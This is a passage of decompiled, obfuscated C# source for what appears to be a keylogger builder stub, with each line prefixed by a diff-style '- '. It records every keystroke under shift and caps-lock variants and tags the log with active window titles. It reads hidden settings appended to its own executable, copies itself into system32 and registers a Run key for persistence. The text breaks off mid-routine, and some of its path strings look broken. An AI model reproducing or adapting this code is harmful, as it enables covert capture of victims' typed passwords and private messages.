- - private string \u0002() - { - string lpString = new string(char.MinValue, 100); - \u0003.\u0002.\u0002(\u0003.\u0002.\u0002(), ref lpString, 100); - return lpString.Substring(0, checked (Strings.InStr(lpString, "\0") - 1)); - } - - public void \u0002(Keys Key) - { - if (!\u0001.Computer.Keyboard.ShiftKeyDown & !\u0001.Computer.Keyboard.CapsLock) - { - if (Key == Keys.A) - this.TextBox1.Text += "a"; - else if (Key == Keys.B) - this.TextBox1.Text += "b"; - else if (Key == Keys.C) - this.TextBox1.Text += "c"; - else if (Key == Keys.D) - this.TextBox1.Text += "d"; - else if (Key == Keys.E) - this.TextBox1.Text += "e"; - else if (Key == Keys.F) - this.TextBox1.Text += "f"; - else if (Key == Keys.G) - this.TextBox1.Text += "g"; - else if (Key == Keys.H) - this.TextBox1.Text += "h"; - else if (Key == Keys.I) - this.TextBox1.Text += "i"; - else if (Key == Keys.J) - this.TextBox1.Text += "j"; - else if (Key == Keys.K) - this.TextBox1.Text += "k"; - else if (Key == Keys.L) - this.TextBox1.Text += "l"; - else if (Key == Keys.M) - this.TextBox1.Text += "m"; - else if (Key == Keys.N) - this.TextBox1.Text += "n"; - else if (Key == Keys.O) - this.TextBox1.Text += "o"; - else if (Key == Keys.P) - this.TextBox1.Text += "p"; - else if (Key == Keys.Q) - this.TextBox1.Text += "q"; - else if (Key == Keys.R) - this.TextBox1.Text += "r"; - else if (Key == Keys.S) - this.TextBox1.Text += "s"; - else if (Key == Keys.T) - this.TextBox1.Text += "t"; - else if (Key == Keys.U) - this.TextBox1.Text += "u"; - else if (Key == Keys.V) - this.TextBox1.Text += "v"; - else if (Key == Keys.W) - this.TextBox1.Text += "w"; - else if (Key == Keys.X) - this.TextBox1.Text += "x"; - else if (Key == Keys.Y) - this.TextBox1.Text += "y"; - else if (Key == Keys.Z) - this.TextBox1.Text += "z"; - else if (Key == Keys.D0) - this.TextBox1.Text += "0"; - else if (Key == Keys.D1) - this.TextBox1.Text += "1"; - else if (Key == Keys.D2) - this.TextBox1.Text += "2"; - else if (Key == Keys.D3) - this.TextBox1.Text += "3"; - else if (Key == Keys.D4) - this.TextBox1.Text += "4"; - else if (Key == Keys.D5) - this.TextBox1.Text += "5"; - else if (Key == Keys.D6) - this.TextBox1.Text += "6"; - else if (Key == Keys.D7) - this.TextBox1.Text += "7"; - else if (Key == Keys.D8) - this.TextBox1.Text += "8"; - else if (Key == Keys.D9) - this.TextBox1.Text += "9"; - else if (Key == Keys.NumPad0) - this.TextBox1.Text += "0"; - else if (Key == Keys.NumPad1) - this.TextBox1.Text += "1"; - else if (Key == Keys.NumPad2) - this.TextBox1.Text += "2"; - else if (Key == Keys.NumPad3) - this.TextBox1.Text += "3"; - else if (Key == Keys.NumPad4) - this.TextBox1.Text += "4"; - else if (Key == Keys.NumPad5) - this.TextBox1.Text += "5"; - else if (Key == Keys.NumPad6) - this.TextBox1.Text += "6"; - else if (Key == Keys.NumPad7) - this.TextBox1.Text += "7"; - else if (Key == Keys.NumPad8) - this.TextBox1.Text += "8"; - else if (Key == Keys.NumPad9) - this.TextBox1.Text += "9"; - else if (Key == Keys.Oemcomma) - this.TextBox1.Text += ","; - else if (Key == Keys.OemMinus) - this.TextBox1.Text += "-"; - else if (Key == Keys.OemQuotes) - this.TextBox1.Text += "'"; - else if (Key == Keys.OemOpenBrackets) - this.TextBox1.Text += "["; - else if (Key == Keys.Back) - this.TextBox1.Text += "[BACK]"; - else if (Key == Keys.OemCloseBrackets) - this.TextBox1.Text += "]"; - else if (Key == Keys.OemQuestion) - this.TextBox1.Text += "/"; - else if (Key == Keys.OemPipe) - this.TextBox1.Text += "\\"; - else if (Key == Keys.OemSemicolon) - this.TextBox1.Text += ";"; - else if (Key == Keys.OemPeriod) - this.TextBox1.Text += "."; - else if (Key == Keys.Oemtilde) - this.TextBox1.Text += "`"; - else if (Key == Keys.Space) - this.TextBox1.Text += " "; - else if (Key == Keys.Return) - this.TextBox1.Text += "\r\n"; - else if (Key == Keys.F1) - this.TextBox1.Text += "[F1]"; - else if (Key == Keys.F2) - this.TextBox1.Text += "[F2]"; - else if (Key == Keys.F3) - this.TextBox1.Text += "[F3]"; - else if (Key == Keys.F4) - this.TextBox1.Text += "[F4]"; - else if (Key == Keys.F5) - this.TextBox1.Text += "[F5]"; - else if (Key == Keys.F6) - this.TextBox1.Text += "[F6]"; - else if (Key == Keys.F7) - this.TextBox1.Text += "[F7]"; - else if (Key == Keys.F8) - this.TextBox1.Text += "[F8]"; - else if (Key == Keys.F9) - this.TextBox1.Text += "[F9]"; - else if (Key == Keys.F10) - this.TextBox1.Text += "[F10]"; - else if (Key == Keys.F11) - this.TextBox1.Text += "[F11]"; - else if (Key == Keys.F12) - this.TextBox1.Text += "[F12]"; - else if (Key == Keys.Delete) - this.TextBox1.Text = this.TextBox1.Text.Remove(checked (this.TextBox1.Text.Length - 1), 1); - else if (Key == Keys.Back) - this.TextBox1.Text = this.TextBox1.Text.Remove(checked (this.TextBox1.Text.Length - 1), 1); - else if (Key == Keys.Down) - this.TextBox1.Text += "?"; - else if (Key == Keys.Up) - this.TextBox1.Text += "?"; - else if (Key == Keys.Left) - this.TextBox1.Text += "?"; - else if (Key == Keys.Right) - this.TextBox1.Text += "?"; - else if (Key == Keys.Tab) - this.TextBox1.Text += "[TAB]"; - else if (Key == Keys.End) - this.TextBox1.Text += "[END]"; - else if (Key == Keys.Escape) - this.TextBox1.Text += "[ESC]"; - else if (Key == Keys.Divide) - this.TextBox1.Text += "/"; - else if (Key == Keys.Decimal) - this.TextBox1.Text += "."; - else if (Key == Keys.Subtract) - this.TextBox1.Text += "-"; - else if (Key == Keys.Add) - { - this.TextBox1.Text += "+"; - } - else - { - if (Key != Keys.Multiply) - return; - this.TextBox1.Text += "*"; - } - } - else if (!\u0001.Computer.Keyboard.ShiftKeyDown & \u0001.Computer.Keyboard.CapsLock) - { - switch (Key) - { - case Keys.Back: - this.TextBox1.Text = this.TextBox1.Text.Remove(checked (this.TextBox1.Text.Length - 1), 1); - break; - case Keys.Tab: - this.TextBox1.Text += "[TAB]"; - break; - case Keys.Return: - this.TextBox1.Text += "\r\n"; - break; - case Keys.Escape: - this.TextBox1.Text += "[ESC]"; - break; - case Keys.Space: - this.TextBox1.Text += " "; - break; - case Keys.End: - this.TextBox1.Text += "[END]"; - break; - case Keys.Left: - this.TextBox1.Text += "?"; - break; - case Keys.Up: - this.TextBox1.Text += "?"; - break; - case Keys.Right: - this.TextBox1.Text += "?"; - break; - case Keys.Down: - this.TextBox1.Text += "?"; - break; - case Keys.Delete: - this.TextBox1.Text = this.TextBox1.Text.Remove(checked (this.TextBox1.Text.Length - 1), 1); - break; - case Keys.D0: - this.TextBox1.Text += "0"; - break; - case Keys.D1: - this.TextBox1.Text += "1"; - break; - case Keys.D2: - this.TextBox1.Text += "2"; - break; - case Keys.D3: - this.TextBox1.Text += "3"; - break; - case Keys.D4: - this.TextBox1.Text += "4"; - break; - case Keys.D5: - this.TextBox1.Text += "5"; - break; - case Keys.D6: - this.TextBox1.Text += "6"; - break; - case Keys.D7: - this.TextBox1.Text += "7"; - break; - case Keys.D8: - this.TextBox1.Text += "8"; - break; - case Keys.D9: - this.TextBox1.Text += "9"; - break; - case Keys.A: - this.TextBox1.Text += "A"; - break; - case Keys.B: - this.TextBox1.Text += "B"; - break; - case Keys.C: - this.TextBox1.Text += "C"; - break; - case Keys.D: - this.TextBox1.Text += "D"; - break; - case Keys.E: - this.TextBox1.Text += "E"; - break; - case Keys.F: - this.TextBox1.Text += "F"; - break; - case Keys.G: - this.TextBox1.Text += "G"; - break; - case Keys.H: - this.TextBox1.Text += "H"; - break; - case Keys.I: - this.TextBox1.Text += "I"; - break; - case Keys.J: - this.TextBox1.Text += "J"; - break; - case Keys.K: - this.TextBox1.Text += "K"; - break; - case Keys.L: - this.TextBox1.Text += "L"; - break; - case Keys.M: - this.TextBox1.Text += "M"; - break; - case Keys.N: - this.TextBox1.Text += "N"; - break; - case Keys.O: - this.TextBox1.Text += "O"; - break; - case Keys.P: - this.TextBox1.Text += "P"; - break; - case Keys.Q: - this.TextBox1.Text += "Q"; - break; - case Keys.R: - this.TextBox1.Text += "R"; - break; - case Keys.S: - this.TextBox1.Text += "S"; - break; - case Keys.T: - this.TextBox1.Text += "T"; - break; - case Keys.U: - this.TextBox1.Text += "U"; - break; - case Keys.V: - this.TextBox1.Text += "V"; - break; - case Keys.W: - this.TextBox1.Text += "W"; - break; - case Keys.X: - this.TextBox1.Text += "X"; - break; - case Keys.Y: - this.TextBox1.Text += "Y"; - break; - case Keys.Z: - this.TextBox1.Text += "Z"; - break; - case Keys.NumPad0: - this.TextBox1.Text += "0"; - break; - case Keys.NumPad1: - this.TextBox1.Text += "1"; - break; - case Keys.NumPad2: - this.TextBox1.Text += "2"; - break; - case Keys.NumPad3: - this.TextBox1.Text += "3"; - break; - case Keys.NumPad4: - this.TextBox1.Text += "4"; - break; - case Keys.NumPad5: - this.TextBox1.Text += "5"; - break; - case Keys.NumPad6: - this.TextBox1.Text += "6"; - break; - case Keys.NumPad7: - this.TextBox1.Text += "7"; - break; - case Keys.NumPad8: - this.TextBox1.Text += "8"; - break; - case Keys.NumPad9: - this.TextBox1.Text += "9"; - break; - case Keys.Multiply: - this.TextBox1.Text += "*"; - break; - case Keys.Add: - this.TextBox1.Text += "+"; - break; - case Keys.Subtract: - this.TextBox1.Text += "-"; - break; - case Keys.Decimal: - this.TextBox1.Text += "."; - break; - case Keys.Divide: - this.TextBox1.Text += "/"; - break; - case Keys.F1: - this.TextBox1.Text += "[F1]"; - break; - case Keys.F2: - this.TextBox1.Text += "[F2]"; - break; - case Keys.F3: - this.TextBox1.Text += "[F3]"; - break; - case Keys.F4: - this.TextBox1.Text += "[F4]"; - break; - case Keys.F5: - this.TextBox1.Text += "[F5]"; - break; - case Keys.F6: - this.TextBox1.Text += "[F6]"; - break; - case Keys.F7: - this.TextBox1.Text += "[F7]"; - break; - case Keys.F8: - this.TextBox1.Text += "[F8]"; - break; - case Keys.F9: - this.TextBox1.Text += "[F9]"; - break; - case Keys.F10: - this.TextBox1.Text += "[F10]"; - break; - case Keys.F11: - this.TextBox1.Text += "[F11]"; - break; - case Keys.F12: - this.TextBox1.Text += "[F12]"; - break; - case Keys.OemSemicolon: - this.TextBox1.Text += ";"; - break; - case Keys.Oemcomma: - this.TextBox1.Text += ","; - break; - case Keys.OemMinus: - this.TextBox1.Text += "-"; - break; - case Keys.OemPeriod: - this.TextBox1.Text += "."; - break; - case Keys.OemQuestion: - this.TextBox1.Text += "/"; - break; - case Keys.Oemtilde: - this.TextBox1.Text += "`"; - break; - case Keys.OemOpenBrackets: - this.TextBox1.Text += "["; - break; - case Keys.OemPipe: - this.TextBox1.Text += "\\"; - break; - case Keys.OemCloseBrackets: - this.TextBox1.Text += "]"; - break; - case Keys.OemQuotes: - this.TextBox1.Text += "'"; - break; - } - } - else if (\u0001.Computer.Keyboard.ShiftKeyDown & \u0001.Computer.Keyboard.CapsLock) - { - switch (Key) - { - case Keys.Back: - this.TextBox1.Text = this.TextBox1.Text.Remove(checked (this.TextBox1.Text.Length - 1), 1); - break; - case Keys.Tab: - this.TextBox1.Text += "[TAB]"; - break; - case Keys.Return: - this.TextBox1.Text += "\r\n"; - break; - case Keys.Escape: - this.TextBox1.Text += "[ESC]"; - break; - case Keys.Space: - this.TextBox1.Text += " "; - break; - case Keys.End: - this.TextBox1.Text += "[END]"; - break; - case Keys.Left: - this.TextBox1.Text += "?"; - break; - case Keys.Up: - this.TextBox1.Text += "?"; - break; - case Keys.Right: - this.TextBox1.Text += "?"; - break; - case Keys.Down: - this.TextBox1.Text += "?"; - break; - case Keys.Delete: - this.TextBox1.Text = this.TextBox1.Text.Remove(checked (this.TextBox1.Text.Length - 1), 1); - break; - case Keys.D0: - this.TextBox1.Text += ")"; - break; - case Keys.D1: - this.TextBox1.Text += "!"; - break; - case Keys.D2: - this.TextBox1.Text += "@"; - break; - case Keys.D3: - this.TextBox1.Text += "#"; - break; - case Keys.D4: - this.TextBox1.Text += "$"; - break; - case Keys.D5: - this.TextBox1.Text += "%"; - break; - case Keys.D6: - this.TextBox1.Text += "^"; - break; - case Keys.D7: - this.TextBox1.Text += "&"; - break; - case Keys.D8: - this.TextBox1.Text += "*"; - break; - case Keys.D9: - this.TextBox1.Text += "("; - break; - case Keys.A: - this.TextBox1.Text += "A"; - break; - case Keys.B: - this.TextBox1.Text += "B"; - break; - case Keys.C: - this.TextBox1.Text += "C"; - break; - case Keys.D: - this.TextBox1.Text += "D"; - break; - case Keys.E: - this.TextBox1.Text += "E"; - break; - case Keys.F: - this.TextBox1.Text += "F"; - break; - case Keys.G: - this.TextBox1.Text += "G"; - break; - case Keys.H: - this.TextBox1.Text += "H"; - break; - case Keys.I: - this.TextBox1.Text += "I"; - break; - case Keys.J: - this.TextBox1.Text += "J"; - break; - case Keys.K: - this.TextBox1.Text += "K"; - break; - case Keys.L: - this.TextBox1.Text += "L"; - break; - case Keys.M: - this.TextBox1.Text += "M"; - break; - case Keys.N: - this.TextBox1.Text += "N"; - break; - case Keys.O: - this.TextBox1.Text += "O"; - break; - case Keys.P: - this.TextBox1.Text += "P"; - break; - case Keys.Q: - this.TextBox1.Text += "Q"; - break; - case Keys.R: - this.TextBox1.Text += "R"; - break; - case Keys.S: - this.TextBox1.Text += "S"; - break; - case Keys.T: - this.TextBox1.Text += "T"; - break; - case Keys.U: - this.TextBox1.Text += "U"; - break; - case Keys.V: - this.TextBox1.Text += "V"; - break; - case Keys.W: - this.TextBox1.Text += "W"; - break; - case Keys.X: - this.TextBox1.Text += "X"; - break; - case Keys.Y: - this.TextBox1.Text += "Y"; - break; - case Keys.Z: - this.TextBox1.Text += "Z"; - break; - case Keys.Multiply: - this.TextBox1.Text += "*"; - break; - case Keys.Add: - this.TextBox1.Text += "+"; - break; - case Keys.Subtract: - this.TextBox1.Text += "-"; - break; - case Keys.Decimal: - this.TextBox1.Text += "."; - break; - case Keys.Divide: - this.TextBox1.Text += "/"; - break; - case Keys.F1: - this.TextBox1.Text += "[F1]"; - break; - case Keys.F2: - this.TextBox1.Text += "[F2]"; - break; - case Keys.F3: - this.TextBox1.Text += "[F3]"; - break; - case Keys.F4: - this.TextBox1.Text += "[F4]"; - break; - case Keys.F5: - this.TextBox1.Text += "[F5]"; - break; - case Keys.F6: - this.TextBox1.Text += "[F6]"; - break; - case Keys.F7: - this.TextBox1.Text += "[F7]"; - break; - case Keys.F8: - this.TextBox1.Text += "[F8]"; - break; - case Keys.F9: - this.TextBox1.Text += "[F9]"; - break; - case Keys.F10: - this.TextBox1.Text += "[F10]"; - break; - case Keys.F11: - this.TextBox1.Text += "[F11]"; - break; - case Keys.F12: - this.TextBox1.Text += "[F12]"; - break; - case Keys.OemSemicolon: - this.TextBox1.Text += ":"; - break; - case Keys.Oemcomma: - this.TextBox1.Text += "<"; - break; - case Keys.OemMinus: - this.TextBox1.Text += "_"; - break; - case Keys.OemPeriod: - this.TextBox1.Text += ">"; - break; - case Keys.OemQuestion: - this.TextBox1.Text += "?"; - break; - case Keys.Oemtilde: - this.TextBox1.Text += "~"; - break; - case Keys.OemOpenBrackets: - this.TextBox1.Text += "{"; - break; - case Keys.OemPipe: - this.TextBox1.Text += "|"; - break; - case Keys.OemCloseBrackets: - this.TextBox1.Text += "}"; - break; - case Keys.OemQuotes: - this.TextBox1.Text += "'"; - break; - } - } - else if (!\u0001.Computer.Keyboard.ShiftKeyDown & \u0001.Computer.Keyboard.CapsLock) - { - switch (Key) - { - case Keys.Back: - this.TextBox1.Text = this.TextBox1.Text.Remove(checked (this.TextBox1.Text.Length - 1), 1); - break; - case Keys.Tab: - this.TextBox1.Text += "[TAB]"; - break; - case Keys.Return: - this.TextBox1.Text += "\r\n"; - break; - case Keys.Escape: - this.TextBox1.Text += "[ESC]"; - break; - case Keys.Space: - this.TextBox1.Text += " "; - break; - case Keys.End: - this.TextBox1.Text += "[END]"; - break; - case Keys.Left: - this.TextBox1.Text += "?"; - break; - case Keys.Up: - this.TextBox1.Text += "?"; - break; - case Keys.Right: - this.TextBox1.Text += "?"; - break; - case Keys.Down: - this.TextBox1.Text += "?"; - break; - case Keys.Delete: - this.TextBox1.Text = this.TextBox1.Text.Remove(checked (this.TextBox1.Text.Length - 1), 1); - break; - case Keys.D0: - this.TextBox1.Text += "0"; - break; - case Keys.D1: - this.TextBox1.Text += "1"; - break; - case Keys.D2: - this.TextBox1.Text += "2"; - break; - case Keys.D3: - this.TextBox1.Text += "3"; - break; - case Keys.D4: - this.TextBox1.Text += "4"; - break; - case Keys.D5: - this.TextBox1.Text += "5"; - break; - case Keys.D6: - this.TextBox1.Text += "6"; - break; - case Keys.D7: - this.TextBox1.Text += "7"; - break; - case Keys.D8: - this.TextBox1.Text += "8"; - break; - case Keys.D9: - this.TextBox1.Text += "9"; - break; - case Keys.A: - this.TextBox1.Text += "a"; - break; - case Keys.B: - this.TextBox1.Text += "b"; - break; - case Keys.C: - this.TextBox1.Text += "c"; - break; - case Keys.D: - this.TextBox1.Text += "d"; - break; - case Keys.E: - this.TextBox1.Text += "e"; - break; - case Keys.F: - this.TextBox1.Text += "f"; - break; - case Keys.G: - this.TextBox1.Text += "g"; - break; - case Keys.H: - this.TextBox1.Text += "h"; - break; - case Keys.I: - this.TextBox1.Text += "i"; - break; - case Keys.J: - this.TextBox1.Text += "j"; - break; - case Keys.K: - this.TextBox1.Text += "k"; - break; - case Keys.L: - this.TextBox1.Text += "l"; - break; - case Keys.M: - this.TextBox1.Text += "m"; - break; - case Keys.N: - this.TextBox1.Text += "n"; - break; - case Keys.O: - this.TextBox1.Text += "o"; - break; - case Keys.P: - this.TextBox1.Text += "p"; - break; - case Keys.Q: - this.TextBox1.Text += "q"; - break; - case Keys.R: - this.TextBox1.Text += "r"; - break; - case Keys.S: - this.TextBox1.Text += "s"; - break; - case Keys.T: - this.TextBox1.Text += "t"; - break; - case Keys.U: - this.TextBox1.Text += "u"; - break; - case Keys.V: - this.TextBox1.Text += "v"; - break; - case Keys.W: - this.TextBox1.Text += "w"; - break; - case Keys.X: - this.TextBox1.Text += "x"; - break; - case Keys.Y: - this.TextBox1.Text += "y"; - break; - case Keys.Z: - this.TextBox1.Text += "z"; - break; - case Keys.Multiply: - this.TextBox1.Text += "*"; - break; - case Keys.Add: - this.TextBox1.Text += "+"; - break; - case Keys.Subtract: - this.TextBox1.Text += "-"; - break; - case Keys.Decimal: - this.TextBox1.Text += "."; - break; - case Keys.Divide: - this.TextBox1.Text += "/"; - break; - case Keys.F1: - this.TextBox1.Text += "[F1]"; - break; - case Keys.F2: - this.TextBox1.Text += "[F2]"; - break; - case Keys.F3: - this.TextBox1.Text += "[F3]"; - break; - case Keys.F4: - this.TextBox1.Text += "[F4]"; - break; - case Keys.F5: - this.TextBox1.Text += "[F5]"; - break; - case Keys.F6: - this.TextBox1.Text += "[F6]"; - break; - case Keys.F7: - this.TextBox1.Text += "[F7]"; - break; - case Keys.F8: - this.TextBox1.Text += "[F8]"; - break; - case Keys.F9: - this.TextBox1.Text += "[F9]"; - break; - case Keys.F10: - this.TextBox1.Text += "[F10]"; - break; - case Keys.F11: - this.TextBox1.Text += "[F11]"; - break; - case Keys.F12: - this.TextBox1.Text += "[F12]"; - break; - case Keys.OemSemicolon: - this.TextBox1.Text += ";"; - break; - case Keys.Oemcomma: - this.TextBox1.Text += ","; - break; - case Keys.OemMinus: - this.TextBox1.Text += "-"; - break; - case Keys.OemPeriod: - this.TextBox1.Text += "."; - break; - case Keys.OemQuestion: - this.TextBox1.Text += "/"; - break; - case Keys.Oemtilde: - this.TextBox1.Text += "`"; - break; - case Keys.OemOpenBrackets: - this.TextBox1.Text += "["; - break; - case Keys.OemPipe: - this.TextBox1.Text += "\\"; - break; - case Keys.OemCloseBrackets: - this.TextBox1.Text += "]"; - break; - case Keys.OemQuotes: - this.TextBox1.Text += "'"; - break; - } - } - else - { - if (!(\u0001.Computer.Keyboard.ShiftKeyDown & !\u0001.Computer.Keyboard.CapsLock)) - return; - switch (Key) - { - case Keys.Back: - this.TextBox1.Text = this.TextBox1.Text.Remove(checked (this.TextBox1.Text.Length - 1), 1); - break; - case Keys.Tab: - this.TextBox1.Text += "[TAB]"; - break; - case Keys.Return: - this.TextBox1.Text += "\r\n"; - break; - case Keys.Escape: - this.TextBox1.Text += "[ESC]"; - break; - case Keys.Space: - this.TextBox1.Text += " "; - break; - case Keys.End: - this.TextBox1.Text += "[END]"; - break; - case Keys.Left: - this.TextBox1.Text += "?"; - break; - case Keys.Up: - this.TextBox1.Text += "?"; - break; - case Keys.Right: - this.TextBox1.Text += "?"; - break; - case Keys.Down: - this.TextBox1.Text += "?"; - break; - case Keys.Delete: - this.TextBox1.Text = this.TextBox1.Text.Remove(checked (this.TextBox1.Text.Length - 1), 1); - break; - case Keys.D0: - this.TextBox1.Text += ")"; - break; - case Keys.D1: - this.TextBox1.Text += "!"; - break; - case Keys.D2: - this.TextBox1.Text += "@"; - break; - case Keys.D3: - this.TextBox1.Text += "#"; - break; - case Keys.D4: - this.TextBox1.Text += "$"; - break; - case Keys.D5: - this.TextBox1.Text += "%"; - break; - case Keys.D6: - this.TextBox1.Text += "^"; - break; - case Keys.D7: - this.TextBox1.Text += "&"; - break; - case Keys.D8: - this.TextBox1.Text += "*"; - break; - case Keys.D9: - this.TextBox1.Text += "("; - break; - case Keys.A: - this.TextBox1.Text += "A"; - break; - case Keys.B: - this.TextBox1.Text += "B"; - break; - case Keys.C: - this.TextBox1.Text += "C"; - break; - case Keys.D: - this.TextBox1.Text += "D"; - break; - case Keys.E: - this.TextBox1.Text += "E"; - break; - case Keys.F: - this.TextBox1.Text += "F"; - break; - case Keys.G: - this.TextBox1.Text += "G"; - break; - case Keys.H: - this.TextBox1.Text += "H"; - break; - case Keys.I: - this.TextBox1.Text += "I"; - break; - case Keys.J: - this.TextBox1.Text += "J"; - break; - case Keys.K: - this.TextBox1.Text += "K"; - break; - case Keys.L: - this.TextBox1.Text += "L"; - break; - case Keys.M: - this.TextBox1.Text += "M"; - break; - case Keys.N: - this.TextBox1.Text += "N"; - break; - case Keys.O: - this.TextBox1.Text += "O"; - break; - case Keys.P: - this.TextBox1.Text += "P"; - break; - case Keys.Q: - this.TextBox1.Text += "Q"; - break; - case Keys.R: - this.TextBox1.Text += "R"; - break; - case Keys.S: - this.TextBox1.Text += "S"; - break; - case Keys.T: - this.TextBox1.Text += "T"; - break; - case Keys.U: - this.TextBox1.Text += "U"; - break; - case Keys.V: - this.TextBox1.Text += "V"; - break; - case Keys.W: - this.TextBox1.Text += "W"; - break; - case Keys.X: - this.TextBox1.Text += "X"; - break; - case Keys.Y: - this.TextBox1.Text += "Y"; - break; - case Keys.Z: - this.TextBox1.Text += "Z"; - break; - case Keys.Multiply: - this.TextBox1.Text += "*"; - break; - case Keys.Add: - this.TextBox1.Text += "+"; - break; - case Keys.Subtract: - this.TextBox1.Text += "-"; - break; - case Keys.Decimal: - this.TextBox1.Text += "."; - break; - case Keys.Divide: - this.TextBox1.Text += "/"; - break; - case Keys.F1: - this.TextBox1.Text += "[F1]"; - break; - case Keys.F2: - this.TextBox1.Text += "[F2]"; - break; - case Keys.F3: - this.TextBox1.Text += "[F3]"; - break; - case Keys.F4: - this.TextBox1.Text += "[F4]"; - break; - case Keys.F5: - this.TextBox1.Text += "[F5]"; - break; - case Keys.F6: - this.TextBox1.Text += "[F6]"; - break; - case Keys.F7: - this.TextBox1.Text += "[F7]"; - break; - case Keys.F8: - this.TextBox1.Text += "[F8]"; - break; - case Keys.F9: - this.TextBox1.Text += "[F9]"; - break; - case Keys.F10: - this.TextBox1.Text += "[F10]"; - break; - case Keys.F11: - this.TextBox1.Text += "[F11]"; - break; - case Keys.F12: - this.TextBox1.Text += "[F12]"; - break; - case Keys.OemSemicolon: - this.TextBox1.Text += ":"; - break; - case Keys.Oemcomma: - this.TextBox1.Text += "<"; - break; - case Keys.OemMinus: - this.TextBox1.Text += "_"; - break; - case Keys.OemPeriod: - this.TextBox1.Text += ">"; - break; - case Keys.OemQuestion: - this.TextBox1.Text += "?"; - break; - case Keys.Oemtilde: - this.TextBox1.Text += "~"; - break; - case Keys.OemOpenBrackets: - this.TextBox1.Text += "{"; - break; - case Keys.OemPipe: - this.TextBox1.Text += "|"; - break; - case Keys.OemCloseBrackets: - this.TextBox1.Text += "}"; - break; - case Keys.OemQuotes: - this.TextBox1.Text += "'"; - break; - } - } - } - - private void \u0003(object sender, EventArgs e) - { - if (Operators.CompareString(this.\u0089, this.\u0002(), false) == 0) - return; - this.TextBox1.Text = this.TextBox1.Text + "\r\n[" + this.\u0002() + "]:\r\n"; - this.\u0089 = this.\u0002(); - } - - private void \u0004(object sender, EventArgs e) - { - FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared); - this.\u0001 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0002 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0003 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0004 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0005 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0006 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0007 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0008 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u001C = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u001D = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u001E = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u001F = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u000E = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u000F = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0010 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0082 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0011 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0012 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0013 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0014 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0015 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0016 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0017 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0018 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0019 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u001A = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u001B = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u007F = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0080 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0081 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0083 = Strings.Space(checked ((int) FileSystem.LOF(1))); - FileSystem.FileGet(1, ref this.\u0001); - FileSystem.FileGet(1, ref this.\u0002); - FileSystem.FileGet(1, ref this.\u0004); - FileSystem.FileGet(1, ref this.\u0005); - FileSystem.FileGet(1, ref this.\u0006); - FileSystem.FileGet(1, ref this.\u0007); - FileSystem.FileGet(1, ref this.\u0008); - FileSystem.FileGet(1, ref this.\u001C); - FileSystem.FileGet(1, ref this.\u001D); - FileSystem.FileGet(1, ref this.\u001E); - FileSystem.FileGet(1, ref this.\u001F); - FileSystem.FileGet(1, ref this.\u000E); - FileSystem.FileGet(1, ref this.\u000F); - FileSystem.FileGet(1, ref this.\u0010); - FileSystem.FileGet(1, ref this.\u0082); - FileSystem.FileGet(1, ref this.\u0011); - FileSystem.FileGet(1, ref this.\u0012); - FileSystem.FileGet(1, ref this.\u0013); - FileSystem.FileGet(1, ref this.\u0014); - FileSystem.FileGet(1, ref this.\u0015); - FileSystem.FileGet(1, ref this.\u0016); - FileSystem.FileGet(1, ref this.\u0017); - FileSystem.FileGet(1, ref this.\u0018); - FileSystem.FileGet(1, ref this.\u0019); - FileSystem.FileGet(1, ref this.\u001A); - FileSystem.FileGet(1, ref this.\u001B); - FileSystem.FileGet(1, ref this.\u007F); - FileSystem.FileGet(1, ref this.\u0080); - FileSystem.FileGet(1, ref this.\u0081); - FileSystem.FileGet(1, ref this.\u0083); - FileSystem.FileClose(1); - this.\u0001 = Strings.Split(this.\u0001, "@JTR"); - this.TextBox2.Text = this.\u0001[1]; - this.TextBox3.Text = this.\u0001[2]; - this.TextBox4.Text = Conversions.ToString(Convert.ToInt32(this.\u0001[3])); - this.Timer1.Interval = Conversions.ToInteger(this.TextBox4.Text); - this.Timer3.Interval = Conversions.ToInteger(this.TextBox4.Text); - this.Timer4.Interval = Conversions.ToInteger(this.TextBox4.Text); - this.Timer5.Interval = Conversions.ToInteger(this.TextBox4.Text); - this.Timer1.Start(); - this.Timer2.Start(); - if (Conversions.ToBoolean(this.\u0001[4])) - { - try - { - string fileName = Path.GetFileName(Application.ExecutablePath); - \u0001.Computer.FileSystem.CopyFile(Application.ExecutablePath, "C:\\Windows\\system32" + fileName, true); - RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true); - registryKey.SetValue(fileName, (object) ("C:\\Windows\\system32" + Conversions.ToString(0))); - registryKey.Close(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - if (Conversions.ToBoolean(this.\u0001[5])) - this.\u0002("ker.exe"); - if (Conversions.ToBoolean(this.\u0001[6])) - { - try - { - 